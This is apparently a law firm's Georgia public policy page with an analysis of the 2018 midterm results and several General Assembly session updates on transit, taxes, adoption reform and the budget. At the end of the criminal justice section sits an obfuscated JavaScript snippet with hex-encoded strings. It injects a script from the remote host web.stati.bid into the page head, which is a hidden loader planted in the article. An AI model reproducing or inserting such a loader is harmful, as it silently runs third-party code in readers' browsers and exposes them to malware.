Everything you need to know Georgia’s elections

Dentons’ Georgia public policy team delves into the data to give you an exhaustive look at how the 2018 midterms played out across the Peach State.

Governor

As of this writing neither candidates for governor of Georgia has officially been declared victorious but Republican Brian Kemp holds a narrow lead. Republican Brian Kemp has received 1,972,951 votes (50.33 percent) and Democrat Stacey Abrams has received 1,909,726 votes (48.72 percent). The third party Libertarian candidate Ted Metz received 37,081 votes (0.95%).

While Kemp has claimed victory, Abrams has yet to provide any indication that she will concede at this point in the voting counting process. In a statement provided to CNN, her campaign cited several specific reasons, including that three of the state’s largest counties “have reported only a portion of the votes that were submitted by early mail” and four other large counties “have reported exactly 0 votes by mail.” Together, the seven counties “are expected to return a minimum of 77,000 ballots,” according to the campaign.

For Abrams to push this race to a runoff she would have to pick up approximately 50,000 of the remaining 77,000 outstanding ballots she claims exist. According to the Abrams campaign the majority of outstanding mail-in ballots are in three metro Atlanta counties—Cobb, DeKalb and Gwinnett, all areas of strong Democratic support. Therefore, reaching a runoff would require a significant post-election day boost but given the political lean of the outstanding counties, while it remains statistically unlikely, an extended campaign season is not completely outside the realm of possibility.

Regardless of whether this race ends with a Kemp victory or continues on to a December 4th runoff, the historic turnout highlights the effectiveness of both sides’ base-directed campaign strategies. Turnout is reaching presidential levels, with 3.9 million votes counted in the races thus far—only 100,000 votes short of the 2016 presidential election total of 4 million votes. Abrams has already received more votes than Hillary Clinton did in 2016 by approximately 20,000 but Kemp remains in the lead.

Governor Nathan Deal won by 8 percent in 2014 and Trump won by 5 percent in 2016. Kemp, however, is only leading by 1.8 percent in what is widely seen as a solidly Republican state. Demographic changes, polarization and strong leadership have all contributed to returning Democrats to relevance in statewide Georgia politics.

Although, at the present moment, Abrams appears to have come up short there are three main factors worthy of analysis which led to her surge and Kemp’s equally significant counterattack. First, Gwinnett and Cobb Counties both continued their leftward trends witnessed in recent elections. Second, historic turnout in Fulton County. And third, overwhelming rural dominance by Kemp and the activation of the Trump coalition.

The maps above, from right to left, show results from the current (2018) election for governor, the 2016 presidential election and the 2014 midterm election for governor. In 2014, Democrat Jason Carter faced off against Republican Governor Deal. In 2016 Clinton ran against Trump and, of course, this year Abrams and Kemp are vying to become Georgia’s next executive.

Abrams, from the beginning, was intent on boosting turnout and riding diversifying demographics and a ballooning urban population in and around the City of Atlanta—and she succeeded in achieving that goal. Fulton County, long a Democratic stronghold that voted 63 percent in favor of Carter and 69 percent for Clinton came in at 72 percent for Abrams. In percentage terms alone the continuing liberalization of the county is clear. In four years, from 2014 to 2018, statewide Democratic candidates increased their vote share by 9 percent.

However, increasing the Democratic vote percentage was not alone going to make this a competitive race. Abrams not only received a higher percentage of votes but she also increased the number of votes themselves. In Fulton County, she received 6,503 more votes than Hillary Clinton received in Fulton in a presidential year, which historically have a higher turnout. Moreover, Abrams added to Carter’s total Fulton County vote count by 137,464 votes, a 183 percent increase.

The same trend holds in suburban Atlanta. Four years ago Governor Deal won both Gwinnett and Cobb Counties, netting 54 and 56 percent of the vote, respectively. Two years later Clinton carried Gwinnett with 51 percent of the vote and won a plurality of votes in Cobb with 48.9 percent. Yesterday, Abrams expanded Democratic leads in both counties, winning 56 percent of the vote in Gwinnett and 54 percent of the vote in Cobb.

However, as the graphics above reveal, as in Fulton County, the Abrams victory isn’t defined by a 13 percentage point increase since 2014 but rather a massive Democratic turnout. Abrams received more votes in both Gwinnett and Cobb than Hillary Clinton. Moreover, she expanded Carter’s vote tally by about 200 percent in Gwinnett and 190 percent in Cobb, adding 85,938 votes and 79,437 votes to his totals in the respective counties.

The substantial increase in new Democratic voters from 2014 to 2016 is exactly what the Abrams camp sought and the onslaught of Democratic voters could only be answered by an equal, presidential-level turnout in rural, Republican Georgia, which the Kemp campaign delivered. Kemp was so effective in building a rural ground campaign and tying himself to President Trump that he witnessed only a slight turnout drop-off from Trump’s 2016 victory.

In many rural parts of Georgia, Kemp vastly outperformed Deal in terms of vote count. In fact, he nearly kept pace with Trump in terms of votes per county, surely benefiting greatly from two visits from Vice President Pence and an appearance by Trump himself at a get-out-the vote rally. Just as Abrams added massively to Carter’s turnout, Kemp did the same in comparison to Deal’s, increasing the term-limited incumbent’s vote total in Walker County, for instance, by more than 200 percent and by approximately 150 percent in each of the other five counties we examined.

Moreover, Kemp improved on President Trump’s performance and won four key counties—Burke, Washington, Baker and Early—the first two of which narrowly voted for Hillary in 2014.

In sum, both candidates turned out their base at presidential-election levels and consolidated support in key partisan areas. Should his lead hold up, Kemp will have withstood a formidable metropolitan blue wave thanks to the unwavering support of Trump country.

Down-Ballot

Lieutenant Governor
Geoff Duncan defeated Sarah Riggs Amico with 52 percent of the vote. Amico suffered a substantial drop-off from the top of the ticket, while Duncan remained neck-and-neck with Kemp throughout the night. Amico, as of this writing, received 94,430 fewer votes than Abrams while Duncan only lagged 27,073 votes behind Kemp.

Secretary of State
After neither candidate broke 50 percent of the vote, the race for secretary of state is expected to go to a runoff. Republican Brad Raffensperger received 49 percent, John Barrow received 48 percent and Smythe Duval received 2 percent. Duval netted 48,491 more votes than his libertarian counterpart in the governor’s race. Also of note, Barrow received 62,514 more votes than Sarah Riggs Amico, despite showing up lower on the ballot.

Attorney General
Republican Chris Carr defeated Democrat Charlie Bailey with 52 percent of the vote. Carr received 1,965,061 votes—more than the total cast for Brian Kemp.

Georgia Public Service Commission
Incumbent Republican Tricia Pridemore has seemingly defeated Democrat Dawn Randolph for the PSC seat in District 5, however the race has yet to be formally called. Republican Chuck Eaton appears destined for a runoff with Democrat Lindy Miller. That race currently stands at 49.89 percent for Eaton to Miller’s 47.45 percent. The two are separated by just 93,436 votes.

Top vote-getter
Republican State School Superintendent Richard Woods beat Democrat Otha Thornton with 2,034,151 votes, or 53 percent of total votes cast. Woods received the most votes out of any candidate on Tuesday’s ballot. Agriculture Commissioner Gary Black, GOP incumbent, was close behind with 2,026,207 votes, or 53 percent, in his race against Democrat Fred Swann.

Fifty-three percent is the high-water mark for statewide Republicans in this election. In 2014, Republican Doug Everett, a Republican incumbent on the PSC, raked in 68 percent of the statewide vote.

US Congress

Both of the competitive US House of Representative races are in the suburban Atlanta counties that came out strongly for Abrams. As such, both the race in Georgia’s 6th and 7th congressional districts remain extremely close. At the moment incumbent Republican Rob Woodall leads Democrat Carolyn Bourdeaux, 50.59 to 49.41 percent, with a vote difference of 3,184. Bordeaux has not conceded the race.

In the 6th congressional district, Democrat Lucy McBath leads incumbent Republican Karen Handel 50.45 percent to 49.55 percent. Only 2,872 votes separate the two women. Handel, like Abrams and Bordeaux, has not conceded the race. In order to demand a recount the trailing candidate must be within 1 percentage point. At the present, Handel is within that window.

Georgia State Legislature

While democratic enthusiasm may not have materialized statewide to loosen the Republican grip on statewide offices, the Democratic enthusiasm in suburban Metro Atlanta created a significant blue undertow, leading to a net gain of eleven seats in the Georgia House and two seats in the Georgia Senate. This is a substantial result for Georgia Democrats, who knocked off several entrenched Republicans and, in some cases, convincingly defended seats many thought were in play. All of the races that flipped from Republican to Democrat, shown below, were in the suburbs of Atlanta. Democrats now hold 21 out of 56 seats in the state Senate and 75 out of 180 seats in the state House.

Races of note:

  • Jen Jordan, an incumbent Democrat in Senate District 6, which includes parts of Smyrna and Sandy Springs, handily beat back a well-funded challenge from Leah Aldridge.
  • Incumbent Republican Fran Millar, representative for Senate District 40, which is mostly in North DeKalb County, lost by ten percentage points to Democrat Sally Harrell
  • Sam Teasly a Republican incumbent in House District 37, central Cobb County, is currently losing by 145 votes to Democratic challenger Mary Williams.
  • In one of the more surprising upsets, Betty Price the Republican incumbent from House District 48 in North Fulton county, is currently losing to Democratic challenger Mary Robichaux by 121 votes.
  • Democrat Matthew Wilson defeated Republican incumbent Meagan Hanson to return House District 80 to Democratic control.
  • Gwinnett County witnessed the greatest partisan turnover of any state house delegation. Five former republican House seats (HD 95, HD 105, HD 105, HD 107, HD 108) and one Senate seat (SD 48), previously held by former State Sen. David Shafer, are now in Democratic hands.
  • Democratic incumbents Deborah Gonzalez and Jonathan Wallace were defeated in House Districts 117 and 119 in Clarke and Oconee Counties

Across the board the suburbs played an instrumental role in increasing Democratic influence under the Gold Dome, however, Republicans remain firmly in power.

Ballot Initiatives

Amendment 1: Creates the Georgia Outdoor Stewardship Trust Fund: Approved
Amendment 2: Creates a statewide business court: Approved
Amendment 3: Redefines, reclassifies Forest Land Conservation and Timberland: Approved
Amendment 4: Adds rights for crime victims to state constitution: Approved
Amendment 5: Changes rules for calling a county education sales tax referendum: Approved
Statewide Referendum A, homestead exemption for certain cities: Approved
Statewide Referendum B, tax exemption for certain homes for mentally ill: Approved

Sunday brunch bill clears Ga. legislature

The years-long movement to liberalize Georgia’s Sunday alcohol sales law finally cleared both chambers of the General Assembly last week.
 
The proposal, dubbed the “Sunday brunch bill” around the Gold Dome, would allow for local referenda to determine whether restaurants and wineries could serve alcohol as early as 11am, an increase of 90 minutes from the current law. 
 
The proposal, which leaves rules for the package sale of beer, wine, and  alcohol by retail unchanged, heads now to the desk of Governor Nathan Deal for final consideration.
 
Elsewhere around the capitol …
 
The House unanimously approved legislation to broaden insurance coverage eligibility and benefits for children with autism spectrum disorder. 
 
The bill, a version of which was already passed by the Senate, would raise coverage eligibility for those with autism from six years to 20, and increase the benefits up to $35,000. The bill now returns to the Senate for final agreement or adjustments.
 
The House Governmental Affairs Committee advanced legislation that would shorten the voting hours and reduce Sunday early-voting for the city of Atlanta. The bill was offered after a special election last year that included portions of Atlanta, where voting was allowed until 8pm, and Cobb County, where it ended at 7pm.
 
The Senate Regulated Industries Committed unanimously approved a House bill that would regulate daily online fantasy sports program. The bill, of which a version failed last year, would make illegal the participation of college athletes of persons below the age of 18, and would levy a 6 percent tax on businesses that operate the online leagues.

With Crossover Day behind it, Ga. Capitol enters final leg of legislative season

Governor Nathan Deal signed on Thursday a headline-grabbing proposal that would slash state income taxes while deep-sixing a lucrative tax exemption for homegrown Delta Air Lines.

The governor’s signature capped a tumultuous week at the Capitol, which dove headlong into a cultural debate on the Second Amendment after Delta discontinued a special discount program for NRA members in the days that followed a Florida school shooting.

The tax cut bill, which would reduce the state’s top income tax rate to 5.75 percent in fiscal year 2018 and then to 5.5 percent the year after, initially included the fuel exemption, but Senate leadership deleted the plank in a rebuke to Delta.

Deal has signaled he will still pursue a vehicle to secure the tax break for the airline, which ranks as the state’s single largest employer with some 33,000 workers across Georgia.

Elsewhere in the capitol …

With Thursday’s Crossover Day hangover behind it, the General Assembly enters now the final quarter of its 40-day legislative season staring down the imperative to address transit reform before the clock ticks to zero at the month’s end.

Both chambers advanced similar proposals that would mark the largest expansion of public transportation in Atlanta in more than four decades, allowing metro Atlanta’s 13 sprawling counties to raise hundreds of millions in sales taxes for new transit projects and creating a new regional transit governing agency to succeed MARTA. The House and Senate must now negotiate the differences in the two.

The House passed last week what’s been dubbed the “Netflix bill,” because it included a new tax on content streaming services, to encourage broadband deployment and access in rural communities. Despite the nickname, the tax on services like Netflix were dropped before passage.

Crossover Day countdown for transit reform, criminal justice reform, and distracted driving

The Georgia General Assembly will enter on Monday one of the session’s most turbulent periods, a half-way point scramble by which all bills must have cleared their originating chamber if they are to be eligible for full passage this year.

The approach of Crossover Day, whose Feb. 28 threshold was inched up by two days from last year amid a desire from Senate leadership to expedite the legislative year, will trigger a marathon of activity by leadership in both chambers to keep on track the session’s priority proposals.

Here’s what we’re watching before Wednesday hard stop:

Transit reform
The years-long effort to reshape transportation services throughout metropolitan Atlanta faces an important test Wednesday, as neither of the two GOP-led transit reform companion bills have passed their respective houses.

The House and Senate Transportation committees last week gave the green light to the bills, which provide for the financing of new transit projects through the creation of a handful of new taxes, including fees and goods sold at the airports in Atlanta and Savannah and another on taxi and ride-hailing fares. The proposals would also recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it govern transit planning in the 13 metro counties with the hope of inspiring greater regional cooperation.

Distracted driving
There’s an effort underway in the House to make Georgia the 16th state in the nation to ban drivers from holding their phones while driving, eliminating alleged enforcement confusion because, while it’s already illegal to text while driving, it remains legal to dial the phone.

The proposal passed out of a House committee last week and awaits debate on the full floor.

Criminal justice
The final pieces of outgoing Governor Nathan Deal’s years-long initiative to reform the state’s criminal justice system is bumping up against the Crossover Day barrier to adoption, but is expected to clear the hurdle just in time.

The governor’s latest criminal justice reform package includes a proposal that would endow state judges with more power to forego cash bail for low-income, non-violent offenders and more options to impose community service instead. The bill is expected to come up for a vote in the Senate on Monday morning. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Transit reform inches forward in Ga. General Assembly

Speaker David Ralston is backing a Republican transit reform package that would reshape transportation services throughout metropolitan Atlanta, signaling the much-anticipated measure should at least get a vote in the House.

The 77-page bill, introduced by Transportation Committee Chairman Kevin Tanner, would recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it to govern transit planning in 13 metro counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding and Rockdale.

The bill would provide financing for new transit projects through the creation of a handful of new taxes, including fees on goods sold at the airports in Atlanta and Savannah and one on taxi and ride-hailing fares.

A companion reform bill is under consideration by the Senate

Elsewhere under the Dome …

Religious conservatives in the Senate have introduced a measure to allow adoption agencies to turn away married same-sex couples, the latest religious liberty effort in the General Assembly. A mirror provision was attached to an adoption reform package last year, killing the bill in the eleventh hour. (An adoption reform bill was passed this year by both chambers after both the governor and speaker demanded a so-called clean bill.)

The House Public Safety Committee green lighted a bill to bring some state oversight to the controversial practice of vehicle booting. The measure now advances to the Rules Committee.

The House voted by near unanimous measure to approve a constitutional amendment to prevent the misappropriation of environmental fees for other purposes in the state budget. Each year, a large portion of revenues collected for the purpose of disposing tires or cleaning hazardous waste sites are leveraged for other expenses.

The Senate OK’d a supplemental spending bill for fiscal year 2018 last week, and the chamber’s slight adjustment to an earlier-passed version goes back to the House for a second time for final passage.

The House Education Committee advanced a proposal to increase funding for State Commission Charter Schools. The current state funding formula is based on the average spending of the five lowest-spending school districts, and the new bill would increase state spending to the average spending of all school districts.

Ga. House OK’s 2018 ‘Little Budget’

The Georgia House of Representatives approved last week a midyear spending bill to make use of additional revenues for fiscal year 2018, appropriating more than $300 million in new money.

The supplemental budget, known around the capitol as the “Little Budget,” will keep state agencies and offices running through June 30, when a new fiscal year will begin.

More than a third of the newly apportioned revenue will go to public schools and colleges. Other tens of millions will be directed to health care programs serving poor Georgians.

The so-called Little Budget now goes to the Senate for consideration, and its eminent passage brings the General Assembly one step closer to addressing and completing its singular constitutional obligation: passing a balanced spending plan, known as the Big Budget, for the next fiscal year.

Elsewhere in the capitol …

A House education subcommittee green lighted a proposal to address supplemental funding inequities for charter schools across the state, while another committee approved legislation providing for a new sales tax exemption to help pay for a potential expansion by the Georgia Aquarium.

Senator Brandon Beach has introduced his long-awaited transit reform bill, which would create new transit funding mechanisms through an optional local sales tax. The stipulates that MARTA would operate any service funded by the new tax. Specifically, the bill would:

  • Provide for a 1% Transit SPLOST and excluding that tax from the 2% cap;
  • Allow counties to fund transit projects within their jurisdiction, subject to approval of those projects by the Commission, and referenda would be carried out in accordance with other such SPLOSTs.  Approved projects would then be evaluated and prioritized by the local jurisdictions affected in conjunction with MARTA.  Local jurisdictions will also have the option to execute intergovernmental agreements with MARTA under which MARTA would assume control of future transit services.  For all intents and purposes, this bill would appear to impact 13 metro Atlanta counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding, and Rockdale; and
  • Create the Atlanta-region Transit Link “ATL” Commission as a new division under the Georgia Regional Transportation Commission. The purpose of this Commission is to plan and coordinate the provision of transit services, the establishment of transit facilities, and the funding of those purposes throughout its jurisdiction. This jurisdiction consists of any county which has approved a MARTA tax or any county which has approved a Transit SPLOST.  Initially the Commission would consist of 11 members.

Spurred by recommendations from House Rural Development Council, legislation has been introduced in the House that would finance the cost of developing rural broadband with a new tax on digital content streaming services like Netflix.

Senate OKs House tweaks to long-awaited adoption reform bill, heads now to Deal

The Georgia state Senate voted by near unanimous measure on Monday to approve compromise changes offered by the House last week to an adoption reform package that’s been bouncing unsuccessfully through the General Assembly for the last two years.

An attempt to reform the state’s cumbersome adoption processes failed in the eleventh hour last year after a controversial religious liberty provision was attached. After its failure, Governor Nathan Deal and Speaker David Ralston demanded the legislature reconsider the bill without the poison pill provision. The General Assembly made good on the no-religious-liberty-language demand, but the Senate pointedly added a new plank that would empower parents to give temporary, revocable guardianship to relatives or other qualified adults in an effort to keep children out of the foster care system.

While the bill technically satisfied the governor’s religious liberty demand, confusion reigned under the Gold Dome in the days that followed the Senate’s inclusion of the powers of attorney proposal, principally because the governor vetoed the same measure in a separate bill the year prior.

The House offered up last week a potential compromise, but Senate leadership did not outwardly indicate when or whether it would review the adjusted proposal. Now that it has, the bill’s long road in the legislature has ended. The bill heads next to Deal’s desk for consideration.